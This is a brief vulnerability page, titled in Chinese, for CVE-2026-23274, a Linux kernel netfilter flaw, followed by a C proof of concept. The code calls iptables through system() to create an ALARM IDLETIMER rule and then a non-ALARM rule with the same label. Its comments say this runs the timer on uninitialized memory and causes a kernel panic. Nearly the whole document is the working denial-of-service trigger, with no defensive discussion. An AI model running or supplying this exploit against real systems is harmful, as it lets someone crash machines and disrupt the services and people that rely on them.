CVE-2026-23274: Linux内核netfilter拒绝服务漏洞

/* * PoC for CVE-2026-23274 * Trigger: Reuse an ALARM timer label with a non-ALARM (rev0) timer. * Effect: Kernel panic or debug_object warning. */ #include <stdio.h> #include <stdlib.h> int main() { // Step 1: Create a revision 1 ALARM timer printf("[*] Creating ALARM timer (rev1) with label 'vuln_label'...\n"); system("iptables -A OUTPUT -j IDLETIMER --timeout 5 --label vuln_label --alarm"); // Step 2: Attempt to create a revision 0 timer with the same label // This triggers mod_timer on uninitialized memory in vulnerable kernels. printf("[*] Creating standard timer (rev0) with label 'vuln_label'...\n"); system("iptables -A OUTPUT -j IDLETIMER --timeout 10 --label vuln_label"); printf("[+] Exploit triggered. Check kernel logs for panic/warning.\n"); return 0; }